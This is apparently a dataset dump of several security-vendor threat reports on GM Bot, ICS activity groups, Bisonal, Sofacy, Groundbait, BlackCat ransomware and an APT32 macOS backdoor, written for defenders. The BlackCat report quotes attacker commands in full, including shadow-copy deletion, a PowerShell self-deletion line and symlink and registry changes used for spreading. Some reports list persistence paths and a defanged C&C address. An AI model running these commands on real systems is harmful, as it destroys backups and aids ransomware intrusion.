text
stringlengths 8
115k
|
---|
# Source Code for Powerful Android Banking Malware is Leaked
By Jeremy Kirk
The source code for a powerful Android malware program that steals online banking credentials has been leaked, according to researchers with IBM. The malware family is known by several names, including GM Bot, Slempo, Bankosy, Acecard, Slempo, and MazarBot.
GM Bot has been sold on underground hacking forums for around US$500. But it appears someone who bought the code then leaked it on a forum in December, perhaps to increase his standing, wrote Limor Kessem, a cybersecurity analyst with IBM Trusteer. The person included an encrypted archive file containing the source code of GM Bot, according to Kessem.
“He indicated he would give the password to the archive only to active forum members who approached him,” Kessem wrote. “Those who received the password in turn passed it on to other, unintended users, so the actual distribution of the code went well beyond that discussion board’s member list.”
The source code of powerful banking trojans has been leaked before with apps such as Zeus, SpyEye, and Carberp, Kessem wrote. “While GM Bot may not be as prolific as the major banking Trojans mentioned here, it is definitely a game changer in the realm of mobile threats,” Kessem added.
GM Bot emerged in late 2014 on Russian-speaking forums. It exploits an issue known as activity hijacking in older Android devices that allow an overlay to be displayed over a legitimate application. Google has put in defenses against activity hijacking in Android versions higher than 5.0. The overlay looks like what a user would expect to see after launching a legitimate banking app, but that app is actually running underneath the overlay. The user then inputs their authentication credentials, which are sent to the attackers. Since GM Bot has full control over the device, it can also steal SMSes, such as one-time authentication codes.
“Previous mobile malware — before overlays became commercially available to fraudsters — could steal SMS codes, but those would have been meaningless without phishing schemes or a trojan on the victim’s PC to steal access credentials,” Kessem wrote. Since the leak of GM Bot’s code, it appears its creators have developed a second version “which is sold in financial fraud-themed underground boards,” Kessem wrote. |
# YEAR IN REVIEW 2018
## ICS ACTIVITY GROUPS AND THE THREAT LANDSCAPE
The Dragos Intelligence team discusses threat activity groups targeting ICS in 2018 and provides details of their activity, methodologies, victimologies, and future concerns.
### EXECUTIVE SUMMARY
Throughout 2018, the amount of activity targeting industrial control systems (ICS) increased substantially. Dragos identified three new activity groups adding to the five discovered in 2017. This is consistent with previous Dragos assessments – as our capabilities in threat hunting and identification of ICS-focused threats expand, we achieve greater visibility into the threat landscape and can create a more holistic picture of the threats, behaviors, and tradecraft affecting ICS environments.
ICS security risk grew in 2018 even absent any destructive attacks. This year, four major elements contributed significantly to greater risk:
1. More numerous intrusions into ICS networks enabling research and reconnaissance of ICS operations and technology.
2. Commodity malware and wormable ransomware causing ICS infections.
3. Infrastructure-targeting activity groups adopting Living off the Land tactics and behaviors that bypass traditional security protection mechanisms.
4. The compromise of several industrial control equipment manufacturers enabling potential supply-chain threats and vendor-enabled access to ICS networks.
Adversaries using traditional malware and techniques to make the jump from IT to operations continued to be a major issue across ICS, including continued WannaCry infections impacting ICS environments. Olympic Destroyer, though not specifically targeted to ICS, provided an example of how operational systems may be impacted through future wormable malware that avoids the use of exploits.
### THREATS IN DETAIL
Dragos witnessed a concerning number of ICS threats targeting vendors, integrators, original equipment manufacturers (OEMs), and other third-party OT players. Of all threats, the following are the most concerning to Dragos.
#### DISRUPTIVE IT MALWARE
IT malware impacting operations is not new or unique, and Dragos expects these types of infections will continue to be prevalent for years to come due to ease of use, effectiveness within enterprise environments, and the widely-available nature of commodity malware. WannaCry and wormable ransomware leveraging vulnerabilities detailed in Microsoft bulletin MS17-010 continue to be a major threat to ICS.
In August, an operational error during software installation at Taiwan Semiconductor Manufacturing Company caused a WannaCry infection and affected over 10,000 machines, leading to a financial impact of at least $250 million. Olympic Destroyer — the malware known for causing a network disruption during the PyeongChang 2018 Winter Olympic Games — represented another IT-focused malware with the potential to bridge the IT-ICS gap.
#### MID-POINT NETWORK ACCESS
In May, researchers identified VPNFilter router malware targeting small office/home office (SOHO) network devices and some commercial equipment that harvested information, stole credentials, and could cause a denial of service. While this malware does not appear to be targeted towards ICS, a Ukrainian chemical plant reportedly identified VPNFilter on its network.
#### SUPPLY CHAIN/THIRD-PARTY COMPROMISE
Third-party access to OT networks is a common and necessary component of modern operations. However, the OT network access granted to vendors and others can also expose an asset operator to significant risk as compromises can move from vendors’ networks to the asset operator’s network. Third-party or supply chain compromise leverages explicit trust between parties and bypasses a large part of the security stack.
Most concerning to Dragos are several compromises of ICS vendors and manufacturers in 2018 by activity associated with XENOTIME, providing potential supply chain threat opportunities and vendor-enabled access to asset owner and operator ICS networks.
In April, a business tool used by a number of energy firms for communication purposes experienced a cyber incident, exclusively affecting business communications across oil and gas and electric utility sectors. It forced a number of energy companies to shut down communication connections and hampered data processing.
#### SIGNIFICANT TTPs
ICS-directed threat behavior continues to transition away from unique malware and vulnerabilities for most operations, which is concerning because many OT security practices rely on anti-virus and vulnerability-based protection schemes to reduce risk. During earlier phases of operation, threats increasingly use a methodology known as Living off the Land, leveraging native system commands, applications, and software to gain access to the system and move throughout the network undetected.
Five out of eight of the activity groups Dragos tracks use some Living off the Land techniques to accomplish early-phase operations. As anti-virus products, detection software, and other threat detection methods become more robust, adversaries must modify their methods to evade capture by blending in with the environment.
### ACTIVITY GROUPS
Dragos categorizes behavior by activity group, creating analytics that provide comprehensive data around actions, capabilities, and intentions. We currently publicly label eight ICS-focused activity groups and track more unlabeled activity of interest.
- **XENOTIME**
- **ALLANITE**
- **ELECTRUM**
- **RASPITE**
- **DYMALLOY**
- **CHRYSENE**
- **MAGNALLIUM**
- **COVELLITE**
#### XENOTIME
XENOTIME is the group behind TRISIS, the destructive, ICS-tailored malware targeting Triconex safety instrumented systems (SIS) in the Middle East. In 2018, Dragos identified new XENOTIME activity targeting entities in the US, and devices beyond Triconex.
#### ALLANITE
In 2018, Dragos identified victims and attack methodology that sufficiently differentiated ALLANITE from other activity groups. This group targets business and ICS networks in the US and UK electric utility sectors and maintains access to understand the operational environment and for potential disruptive events.
#### RASPITE
In August 2018, Dragos identified a new group targeting access operations in the US electric utility sector, with additional victims in Saudi Arabia, Japan, and potentially Europe. The group appears active since at least mid-2017.
#### DYMALLOY
In fall 2018, Dragos identified multiple new malware infections matching DYMALLOY’s behavior. These observations may indicate a potential resurgence of DYMALLOY activity, or a different entity leveraging similar toolsets.
#### MAGNALLIUM
In 2018, MAGNALLIUM’s victimology expanded to additional targets, including entities in Europe and North America. MAGNALLIUM used phishing emails purporting to be job advertisements relating to oil and gas companies to gain access to victims’ machines.
#### ELECTRUM
In summer 2018, Dragos identified multiple samples of a malicious tool previously associated with ELECTRUM’s 2016 CRASHOVERRIDE event in Ukraine. The group does not rely on zero-day vulnerabilities, instead leveraging common exploitation behaviors and tools.
#### CHRYSENE
Dragos uncovered multiple samples of CHRYSENE-related malware and other activity this year, indicating the group remains active and is evolving in more than one area, including revising and updating its malicious software toolkit.
#### COVELLITE
COVELLITE compromised networks associated with electric energy, primarily in Europe, East Asia, and North America. The group lacks an ICS-specific capability at this time.
### RECOMMENDATIONS
Organizations can lower their risk profiles and proactively protect against common attack techniques by performing security best practices. Implement proper security hygiene and the principle of least privilege based on a deep knowledge of the environment. For instance: question whether tools like PSExec are necessary for every user; use access control lists and restrict administration rights across all devices; prohibit OT devices, including engineering workstations, from connecting to the internet or email services wherever possible; and ensure employees are trained to identify and report phishing and malicious activity.
### CONCLUSION
This year Dragos expects to identify more activity targeting ICS, due to greater visibility into OT networks and adversary behavior driven by ICS threat intelligence. Adversaries will continue to bridge IT and OT networks leveraging traditional malware and Living off the Land techniques, while largely avoiding the use of zero-days. We anticipate growing our list of publicly-tracked adversaries and providing our customers the most in-depth and intelligence-driven ICS threat analysis. Dragos will continue our efforts to bring ICS cybersecurity resources to all levels and encourage collaboration across all sectors to ensure a greater understanding of the threats these industries face and how to combat them. |
# 신천지 비상연락처 위장한 Bisonal 악성코드 유포 중
ASEC 분석팀은 현재 우리나라에서 이슈가 되고 있는 신천지 관련 악성코드가 유포된 것을 확인하였다. 유포 파일명은 xlsx 엑셀 또는 ppt 파워포인트 문서 파일로 보이지만, 유니코드 RLO(Right to Left Override) 방식을 이용하여 파일 확장자를 다른 형태로 보이도록 하였다. 실제 악성 파일은 *.scr 파일이다.
## RLO 변조 된 파일
유니코드 RLO 변조 유포 악성 파일:
- 신천지예수교회비상연락처(1).Rcs.xlsx
- 신천지예수교 증거장막성전 총회본부 홍보부 언론홍보과 보좌 조직RCS.ppt
엑셀 문서 내용:
- 신천지예수교 증거장막성전 총회본부 홍보부 언론홍보과 보좌 조직.ppt
- 파워포인트 내용 – 1
- 파워포인트 내용 – 2
분석 내용은 엑셀 파일을 기준으로 작성한다. 파일 실행 시 정상 엑셀 파일을 함께 실행하여 사용자 PC에 악성코드가 실행되는 것을 알기 어렵게 한다.
실행 파일과 동일한 경로에 정상 문서 파일이 생성되며 해당 파일은 %TEMP% 경로에 생성된 vbs가 실행시킨다. %TEMP% 경로에 생성된 3개의 파일은 각각 아래와 같은 기능을 한다.
- %TEMP%[랜덤1].vbs : 정상 xlsx 파일을 실행
- %TEMP%[랜덤2].vbs : *.scr 파일을 삭제
- %TEMP%services.exe : 백도어 악성코드
services.exe 백도어는 아래 레지스트리 키에 등록되어 재부팅 후에도 동작하게 한다.
- HKCUSoftwareMicrosoftWindowsCurrentVersionRunmismyou
“C:UsersvmuserAppDataLocalTempservices.exe”
자동실행 등록 코드:
C&C 주소:
- http[:]//imbc[.]onthewifi[.]com/ks8d[IP주소]akspbu.txt
백도어 기능으로는 프로세스 목록, 컴퓨터 이름, OS 버전 정보 전송과 파일 실행 및 종료, 추가 파일 다운로드 등이 있다.
해당 백도어는 Bisonal 악성코드로 확인되었다. Bisonal은 2011년부터 한국 기관 및 기업에 대한 공격을 지속적으로 행해왔다.
현재 V3에서는 이와 같은 악성코드를 다음과 같은 진단명으로 진단하고 있다.
- [파일진단] Backdoor/Win32.Bisonal (2020.03.05.04) |
# Sofacy APT Hits High Profile Targets with Updated Toolset
Sofacy (also known as “Fancy Bear”, “Sednit”, “STRONTIUM” and “APT28”) is an advanced threat group that has been active since around 2008, targeting mostly military and government entities worldwide, with a focus on NATO countries. More recently, we have also seen an increase in activity targeting Ukraine.
Back in 2011-2012, the group used a relatively tiny implant (known as “Sofacy” or SOURFACE) as its first stage malware. The implant shared certain similarities with the old Miniduke implants. This led us to believe the two groups were connected, at least to begin with, although it appears they parted ways in 2014, with the original Miniduke group switching to the CosmicDuke implant.
At some point during 2013, the Sofacy group expanded its arsenal and added more backdoors and tools, including CORESHELL, SPLM (aka Xagent, aka CHOPSTICK), JHUHUGIT (which is built with code from the Carberp sources), AZZY (aka ADVSTORESHELL, NETUI, EVILTOSS, and spans across four to five generations) and a few others. We’ve seen quite a few versions of these implants and they were relatively widespread for a time.
Earlier this year, we noticed a new release of the AZZY implant which, at the time, was largely undetected by anti-malware products. We observed several waves of attacks using this version, most recently in October. The new waves of attacks also included a new generation of USB stealers deployed by the Sofacy actor, with the first versions dating back to February 2015, and which appear to be geared exclusively towards high profile targets.
## Sofacy’s August 2015 Attack Wave
In the months leading up to August, the Sofacy group launched several waves of attacks relying on zero-day exploits in Microsoft Office, Oracle Sun Java, Adobe Flash Player and Windows itself. For instance, its JHUHUGIT implant was delivered through a Flash zero-day and used a Windows EoP exploit to break out of the sandbox. The JHUHUGIT implant became a relatively popular first stage for the Sofacy attacks and was used again with a Java zero-day (CVE-2015-2590) in July 2015.
While the JHUHUGIT (and more recently, “JKEYSKW”) implant used in most of the Sofacy attacks, high profile victims are being targeted with another first level implant, representing the latest evolution of their AZZY Trojan.
The first versions of the new AZZY implant appeared in August of this year. During a high profile incident we investigated, our products successfully detected and blocked a “standard” Sofacy “AZZY” sample that was used to target a range of defense contractors. The sample used in this attack (md5 A96F4B8AC7AA9DBF4624424B7602D4F7, compiled July 29th, 2015) was a pretty standard Sofacy x64 AZZY implant, which has the internal name “advshellstore.dll”.
Interestingly, the fact that the attack was blocked didn’t appear to stop the Sofacy team. Just an hour and a half later they had compiled and delivered another AZZY x64 backdoor (md5: 9D2F9E19DB8C20DC0D20D50869C7A373, compiled August 4th, 2015). This was no longer detectable with static signatures by our product. However, it was detected dynamically by the host intrusion prevention subsystem when it appeared in the system and was executed.
This recurring, blindingly-fast Sofacy attack attracted our attention as neither sample was delivered through a zero-day vulnerability — instead, they appeared to be downloaded and installed by another malware. This separate malware was installed by an unknown attack as “AppData\Local\Microsoft\Windows\msdeltemp.dll” (md5: CE8B99DF8642C065B6AF43FDE1F786A3).
The top level malware, CE8B99DF8642C065B6AF43FDE1F786A3 (named by its authors “msdeltemp.dll” according to internal strings, and compiled July 28th, 2015) is a rare type of the Sofacy AZZY implant. It has been modified to drop a separate C&C helper (md5: 8C4D896957C36EC4ABEB07B2802268B9) as “tf394kv.dll“.
The dropped “tf394kv.dll” file is an external C&C communications library, compiled on July 24th, 2015 and used by the main backdoor for all Internet-based communications.
This code modification marks an unusual departure from the typical AZZY backdoors, with its C&C communication functions moved to an external DLL file. In the past, the Sofacy developers modified earlier AZZY backdoors to use a C&C server encoded in the registry, instead of storing it in the malware itself, so this code modularization follows the same line of thinking.
In addition to the new AZZY backdoors with side-DLL for C&C, we observed a new set of data-theft modules deployed against victims by the Sofacy group. Among the most popular modern defense mechanisms against APTs are air-gaps — isolated network segments without Internet access, where sensitive data is stored. In the past, we’ve seen groups such as Equation and Flame use malware to steal data from air-gapped networks. The Sofacy group uses such tools as well.
The first versions of these new USB stealer modules appeared around February 2015 and the latest appear to have been compiled in May 2015. Older versions of these USBSTEALER modules were previously described by our colleagues from ESET. One example of the new Sofacy USBSTEALER modules is 8b238931a7f64fddcad3057a96855f6c, which is named internally as msdetltemp.dll.
This data theft module appears to have been compiled in May 2015 and is designed to watch removable drives and collect files from them, depending on a set of rules defined by the attackers. The stolen data is copied into a hidden directory as “%MYPICTURES%\%volume serial number%“, from where it can be exfiltrated by the attackers using one of the AZZY implants. More details on the new USB stealers are available in the section on technical analysis.
## Conclusions
Over the last year, the Sofacy group has increased its activity almost tenfold when compared to previous years, becoming one of the most prolific, agile and dynamic threat actors in the arena. This activity spiked in July 2015, when the group dropped two completely new exploits, an Office and Java zero-day.
At the beginning of August, Sofacy began a new wave of attacks, focusing on defense-related targets. As of November 2015, this wave of attacks is ongoing. The attackers deploy a rare modification of the AZZY backdoor, which is used for the initial reconnaissance. Once a foothold is established, they try to upload more backdoors, USB stealers as well as other hacking tools such as “Mimikatz” for lateral movement.
Two recurring characteristics of the Sofacy group that we keep seeing in its attacks are speed and the use of multi-backdoor packages for extreme resilience. In the past, the group used droppers that installed both the SPLM and AZZY backdoors on the same machine. If one of them was detected, the other one provided the attacker with continued access.
As usual, the best defense against targeted attacks is a multi-layered approach. Combine traditional anti-malware technologies with patch management, host intrusion detection and, ideally, allowlisting and default-deny strategies. According to a study by the Australian DSD, 85% of the targeted attacks analyzed could have been stopped by four simple defense strategies. While it’s impossible to achieve 100% protection, in practice and most cases all you have to do is increase your defenses to the point where it becomes too expensive for the attacker – who will just give up and move on to other targets.
More information about the Sofacy group is available to customers of Kaspersky Intelligent Services. |
# Operation Groundbait: Espionage in Ukrainian War Zones
After BlackEnergy and Operation Potao Express, ESET researchers have uncovered another cyberespionage operation in Ukraine: Operation Groundbait. In addition to the armed conflict in eastern Ukraine, the country has been facing a significantly higher number of targeted cyberattacks, or so-called advanced persistent threats (APTs).
After BlackEnergy, which has, most infamously, facilitated attacks that resulted in power outages for hundreds of thousands of Ukrainian civilians, and Operation Potao Express, where attackers went after sensitive TrueCrypt-protected data from high-value targets, ESET researchers have uncovered another cyberespionage operation in Ukraine: Operation Groundbait.
## Cyber-surveillance Focusing on Separatists
The main point that sets Operation Groundbait apart from the other attacks is that it has mostly been targeting anti-government separatists in the self-declared Donetsk and Luhansk People’s Republics. While the attackers seem to be more interested in separatists and the self-declared governments in eastern Ukrainian war zones, there have also been a large number of other targets, including, among others, Ukrainian government officials, politicians, and journalists.
### Groundbait?
These cyberespionage activities have been carried out using a malware family that ESET detects as Win32/Prikormka. The malware has until now eluded the attention of anti-malware researchers since at least 2008. The infection vector for spreading the malware was mostly through spear-phishing emails (which is somewhat the norm for targeted attacks). During our research, we have observed a large number of samples, each with its designated campaign ID, an appealing file name to spark the target’s interest, and decoy documents with various themes related to the current Ukrainian geopolitical situation and the war in Donbass.
We chose the name Groundbait – the translation of the Russian word Prikormka (Прикормка) – because of a puzzling theme used in one campaign that stood out among the others, which used themes related to the armed conflict. The malware file name was prikormka.exe and it displayed a pricelist of fishing groundbait, a choice of decoy document that we have so far been unable to explain.
From a technical perspective, the malware features a modular architecture, allowing the attackers to expand its functionality and steal various types of sensitive information and files from the cyber-surveillance targets. Further technical details of the malware, as well as additional information on the ongoing cyberespionage operation, can be found in our comprehensive whitepaper.
## So Who’s Behind It?
As is usual in the world of cybercrime and APTs, attributing the source of the attack is tricky as conclusive evidence is difficult to find. Our research into the attacks has shown that the attackers most likely operate from within Ukraine. Whoever they are, based on the types of targets chosen – mostly separatists in the self-declared Donetsk and Luhansk People’s Republics – it is probably fair to assume that this cyber-surveillance operation is politically motivated.
Apart from that, any further attempt at attribution would at this point be speculative. It is important to note that in addition to separatists, the targets of this campaign include Ukrainian government officials, politicians, and journalists. The possibility of false flags must be considered too.
Our comprehensive whitepaper includes more information on the Operation Groundbait campaigns and technical details of the Prikormka malware. Indicators of Compromise (IOC) that can be used to identify an infection can also be found in the whitepaper or on GitHub. For any inquiries, or to make sample submissions related to the subject, contact us at: [email protected]. |
# Falcon OverWatch Contributes to BlackCat Protection
**Falcon OverWatch Team**
March 23, 2022
In an effort to stay ahead of improvements in automated detections and preventions, adversary groups continually look to new tactics, techniques, and procedures (TTPs), and new tooling to progress their mission objectives. One group — known as BlackCat/ALPHV — has taken the sophisticated approach of developing their tooling from the ground up, using newer, more secure languages like Rust and highly customized configuration options per victim.
While these techniques and tools may be sophisticated, the CrowdStrike Falcon® platform in combination with Falcon OverWatch™ proactive human-driven hunting proved effective in blocking and unraveling this novel threat. OverWatch gave the victim organization context-rich notifications about the emerging threat to their environment, providing essential information for this organization to secure themselves against a novel eCrime threat. OverWatch is continually hunting to unearth evolving TTPs used by big game hunting (BGH) ransomware adversaries and other highly impactful intrusions as highlighted in this recent unsuccessful ransomware attack.
In late 2021, CrowdStrike Intelligence first became aware of BlackCat/ALPHV advertising to affiliates on underground forums. The group advertised a newly developed Rust-based ransomware-as-a-service (RaaS) offering, along with an enticing affiliate program that allows affiliates to retain a relatively generous 80% to 90% compared to the more typical 30% to 60%, depending on the RaaS and how successful it is.
By the end of January 2022, within weeks of launching, BlackCat/ALPHV had already gained notoriety for its expertise and aggressive approach to extorting victims. Extortion techniques used by BlackCat/ALPHV and affiliates include naming victims on a dedicated leak site (DLS), threatening to leak data on the DLS, encrypting data through ransomware, and finally implementing distributed denial of service (DDoS) attacks.
## Good for Victim When BlackCat Crosses OverWatch’s Path
This blog details an unsuccessful BlackCat ransomware attack on an organization in the technology sector. OverWatch worked as a seamless extension of the Falcon platform to trace and track the adversary’s movements, providing critical context to the victim organization to facilitate comprehensive remediation.
Despite the adversary’s use of the novel BlackCat tooling, the Falcon sensor effectively blocked the attack, both preventing the deletion of volume shadow copies and the execution of the ransomware tool itself. Just as adversaries continuously evolve their approaches, the CrowdStrike Falcon® platform is continuously honed to detect and prevent emerging malicious activity. The Falcon platform takes a layered approach to detecting and preventing ransomware by using behavior-based indicators of attack (IOAs) and advanced machine learning (ML). Its detection capabilities are also informed by OverWatch’s front-line insights into novel threats.
The Falcon platform’s detection and automated prevention of malicious activity sparked a rapid retrospective hunt to understand the threat to the victim’s environment, which revealed that the intrusion had stemmed from an unmanaged host. OverWatch is adept at finding adversary discovery activity or attempts to establish a persistent foothold in a victim’s environment. However, in this particular intrusion, the adversary gained initial access on a host that did not have the Falcon sensor installed, meaning that there was no visibility of this pre-ransomware activity for OverWatch. Despite this, OverWatch was still able to effectively track the adversary and provide the victim organization with a rapid context-rich notification about the activity underway in its environment before serious damage was done.
Upon investigation, OverWatch quickly uncovered the adversary’s use of “sender2” — identified as a file exfiltration tool (also known as Exmatter) — that was executed remotely with PsExec from an unmanaged host. The sample sender2 executable crawls the computer for files with a list of file extensions and is configured to send them to a remote server via the SFTP or WebDAV protocols. In the activity observed by OverWatch, the tool was set to evade detection in the following ways:
- It executes using the parameter `-nownd`, causing the tool’s window to be hidden during execution.
- At the completion of its execution, it launches a PowerShell command to forcibly stop the sender2 process and delete the executable.
**Self-deletion PowerShell command:**
```powershell
powershell.exe -WindowStyle Hidden -C $path = '\\[REDACTED]\123\sender.exe'; Get-Process | Where-Object {$_.Path -like $path} | Stop-Process -Force; [byte[]]$arr = new-object byte[] 830483531; Set-Content -Path $path -Value $arr; Remove-Item -Path $path;
```
Further analysis of the tool also revealed that the sample had a build time of approximately one hour before it was deployed.
After the attempted data exfiltration, the adversary moved to deploy the BlackCat ransomware. The ransomware executable file was masquerading under the name of a legitimate third-party managed service security provider (MSSP). The ransomware was executed remotely under PsExec, from a network shared folder named `123` and was launched as a child process of Microsoft’s File Explorer tool in another attempt to evade detection.
The ransomware executable included a required command line argument `--access-token=[access_token]`. This unique token is used to create the access key that is written into and appended to the `.onion` link of the ransomware `readme` file. This provides a unique link per victim to their negotiating Tor payment site.
Another distinctive characteristic of the BlackCat ransomware is its worming functionality with its ability to self-propagate within infected networks, observed in the following ways:
- Acquires the system Address Resolution Protocol (ARP) table.
- Scans the network over NetBIOS TCP port 137. This service provides a legacy name service for name registration and resolution.
- Sets the maximum number of suggested network connections for client requests that can be maintained for each client of the server in the Windows registry.
- Modifies symbolic link evaluation of the host with Fsutil to support the encryption of symbolically linked files that redirect to a different file or directory, including connected network shares.
OverWatch also identified that the adversary had used the customer’s Microsoft Group Policy Object (GPO) settings to author scheduled tasks on Microsoft Windows domain joined hosts. The scheduled tasks were registered for sender2 and the ransomware. However, the files were not successfully executed using this method.
**Scheduled Task for “sender2”:**
- TaskAuthor: [REDACTED]
- TaskExecArguments: `-nownd`
- TaskExecCommand: `"cmd" /c \\[REDACTED]\\123\sender.exe`
- TaskName: `test2`
**Scheduled Task for the Ransomware:**
- TaskAuthor: [REDACTED]
- TaskExecArguments: `--access-token`
- TaskExecCommand: `"cmd" /c \\[REDACTED]\\123\[REDACTED].exe --access-token [REDACTED]`
- TaskName: `test123`
While the attack stemmed from a host that did not have the Falcon sensor installed, OverWatch was able to use the cloud telemetry emitted from endpoints that did have Falcon sensor coverage to uncover the scope of this intrusion. OverWatch used the available telemetry to identify the source of the machine spreading the infection and was also able to identify and quickly notify the victim about the attack, which included:
- When the activity began
- The compromised user account used to conduct the malicious activity
- The unmanaged host used in the attack vectors, including relevant network indicators
- The ransomware strain and the configured file rename extension
- Files, hashes, and indicators on impacted hosts
- Guidance to prevent further activity and assist with the initial response
## Human-Driven Threat Hunting Seamlessly Augments Automated Detection and Prevention
This intrusion is a clear illustration of how OverWatch’s human threat hunting augments automated security controls to pinpoint and rapidly communicate malicious activities at the earliest possible stage.
The Falcon sensor played a crucial role in containing this attack. The Falcon sensor successfully detected and blocked attempts to delete volume shadow copies and deploy ransomware. These preventions gave the victim organization time to take the correct action stemming from OverWatch’s findings and evict the adversary from their network.
OverWatch’s immediate investigation uncovered crucial details about the scope of the adversary’s activity, even when dealing with unmanaged endpoints. This information was crucial to the victim organization, enabling their response efforts to eradicate the adversary from their environment.
It is essential for defenders to recognize that, although OverWatch was ultimately able to track this intrusion as it traversed the victim’s network, full visibility would have enabled much quicker identification of this activity and potentially could have prevented the adversary from gaining initial access. OverWatch strongly recommends that full endpoint protection — including next-generation antivirus (NGAV) and endpoint detection and response (EDR) — is deployed across all endpoints to ensure complete visibility. While it is impossible to anticipate where an adversary will gain access, it is likely that they will look for blind spots in order to operate undetected within your environment.
**TABLE 1. Ransomware Execution**
- `"cmd" /c \\[REDACTED]\\123\[REDACTED].exe --access-token <redacted>`
NOTE: Ransomware binary execution under PSEXECSVC.exe
- `"C:\Windows\system32\cmd.exe" /c "wmic csproduct get UUID"`
NOTE: Acquire the System Management BIOS UUID, likely to gather information.
- `"C:\Windows\system32\cmd.exe" /c "fsutil behavior set SymlinkEvaluation R2L:1"`
NOTE: Enable remote-to-local symlink evaluation
- `"C:\Windows\system32\cmd.exe" /c "fsutil behavior set SymlinkEvaluation R2R:1"`
NOTE: Enable remote-to-remote symlink evaluation
- `"C:\Windows\system32\cmd.exe" /c "iisreset.exe /stop"`
NOTE: Stop all IIS-related processes
- `"C:\Windows\system32\cmd.exe" /c "reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters /v MaxMpxCt /d 65535 /t REG_DWORD /f"`
NOTE: Set the maximum suggested outstanding network connections
- `"C:\Windows\explorer.exe" --child --access-token [REDACTED]`
NOTE: Run the ransomware executable as a child process
- `"C:\Windows\system32\cmd.exe" /c "arp -a"`
NOTE: Acquire system ARP table
- `"C:\Windows\system32\cmd.exe" /c "vssadmin.exe Delete Shadows /all /quiet"`
NOTE: Delete file shadow copies
**TABLE 2. sender2 File Exfiltrator Execution**
The file exfiltrator tool, sender2, will crawl the computer for files with the following extensions:
- .doc, .docx, .xls, .xlsx, .xlsm, .pdf, .msg, .ppt, .pptx, .sda, .sdm, .sdw, .csv, .zip, .json, .config, .ts, .cs, .sqlite, .aspx, .pst, .rdp, .accdb, .catpart, .catproduct, .catdrawing, .3ds, .dwt, .dxf
It also has a few exceptions configured; it will not crawl any of the following directories:
- C:\Documents and Settings
- C:\PerfLogs
- C:\Program Files\Windows Defender Advanced Threat Protection
- C:\Program Files\WindowsApps
- C:\ProgramData\Application Data
- C:\ProgramData\Desktop
- C:\ProgramData\Documents
- C:\ProgramData\Microsoft
- C:\ProgramData\Packages
- C:\ProgramData\Start Menu
- C:\ProgramData\Templates
- C:\ProgramData\WindowsHolographicDevices
- C:\Recovery
- C:\System Volume Information
- C:\Users\All Users
- C:\Users\Default
- C:\Users\Public\Documents
- C:\Windows
- System Volume Information
And it will also skip every path that contains one of the following strings:
- OneDriveMedTile
- locale-
- SmallLogo
- VisualElements
- adobe_sign
- Adobe Sign
- core_icons |
# APT32 Multi-stage macOS Trojan Innovates on Crimeware Scripting Technique
Phil Stokes
In the same week as Microsoft disclosed the Vietnamese-linked APT32 (aka “OceanLotus”, “Bismuth”, “SeaLotus”) group deploying Cryptominer software like a common crimeware adversary, researchers at Trend Micro released details of an update to an APT32 macOS backdoor that also appears to have been taking lessons from commodity malware authors. The backdoor uses a novel method of delivery that echoes other threat actor techniques as well as adds some interesting new behaviour. In this post, we’ll review some of the details in the earlier report but also add some new IoCs and observations that have not yet been mentioned.
## Disguised App Bundle Used for Delivery
The malware is delivered as an application disguised as an MS Office Word doc. The previous research noted that the malware deploys a novel trick to prevent MS Office attempting to launch the disguised app as a doc by embedding a unicode character in the file name. This causes launch services to call “open” on the file rather than the default program for “.doc”.
On launch, the malware switches out the malicious application bundle for an actual MS Office doc: the same file name is used but now minus the hidden Unicode character. After the bait and switch, this doc is launched and presented to the user. The whole trick is invisible to the user, who only sees a document appearing with the same name as the one they double-clicked on. Meanwhile, the second stage payload has been deposited in the `/tmp` folder and begins its run to install a hidden persistence agent and the third stage malicious executable.
## Shell Executable Contains Base64-encoded Mach-O
That trick is accompanied by the borrowing of a technique that has become popular among commodity adware and malware distributors; namely, using a shell script both as the main executable inside the app bundle and also as a vehicle to drop an embedded base64-encoded payload.
Note line 4, which defines a variable with around 850Kb of base64-encoded data. At line 40, that data is piped through the base64 utility for decoding, dropped in a subfolder in the `/tmp` directory, given executable permissions via `chmod`, and then launched as the 2nd stage payload.
Importantly, prior to line 40, the script takes measures to deal with two macOS security features: App Translocation and file quarantine. The former was a security feature brought in by Apple to prevent executables accessing external resources via relative paths and bypassing Gatekeeper checks. However, like Gatekeeper itself, App Translocation relies on the executable being tagged with the com.apple.quarantine bit.
In this case, the script aggressively attempts to remove all quarantine bits and, in the event any of those fail and the malware finds itself translocated to a read-only filepath, it then undertakes a hunt for the original downloaded file via its MD5 hash and attempts to execute it from its non-translocated path on disk.
## Second Stage Payload’s Hidden Persistence Mechanism
The second stage payload, once dumped from the encoded base64, is a universal FAT binary containing Mach-Os for i386 and x86_64 architectures. The source code was written in C++.
As earlier research pointed out, this stage is responsible for dropping a persistence agent with the label of “com.apple.marcoagent.voiceinstallerd” and its program argument, “mount_devfs”. However, we also note that this stage has code for testing the UID and determining whether the executable is being run as root or not. If so, the persistence mechanism is now written to `/Library/LaunchDaemons` instead of the user’s Library LaunchAgents folder.
In either case, the program argument is the same, pointing to a custom subfolder in the Library folder called “User Photos” and an executable, `mount_devfs`, which is similarly a universal FAT binary containing Mach-Os written in C++. A further point not mentioned in the earlier research is that the Launch Agent or Launch Daemon is written using the “Hidden” flag so that users won’t see it in the Finder by default.
## Third Stage Payload and Hard-coded Calling Card
According to the earlier research, the malicious “mount_devfs” file provides the actors with backdoor capabilities, which include the ability to exfiltrate information as well as download files to the target machine. For downloading, the actors make use of the same built-in dylib as we’ve seen used by Lazarus APT, `libcurl.4.dylib`.
The third stage payload has the ability to collect data regarding the device and its environment, including the computer host name. Curiously, the sample has two hardcoded strings that presumably are meant as a “calling card” or have some internal meaning to the malware developers:
- "JasyndurtheHandoftheKing"
- "CagliostrothePrecise"
## Detection and Mitigation
Although these samples were unknown to static signature engines prior to the publication of this week’s research, the malware was already detectable through behavioral means. The first stage attempts to remove the quarantine bit on every file starting from both the User’s Home directory, `~/`, and from `/`. This is incredibly “noisy” from a detection point of view, as no legitimate process is likely to have such behavior.
The 2nd stage payload can trigger detections on MITRE TTPs T1150 and T1160 as it attempts to achieve persistence. The samples’ code signatures have now been revoked by Apple, although it is still possible to execute the malware either by removing the signature or re-signing it with a different developer ID or ad hoc signature.
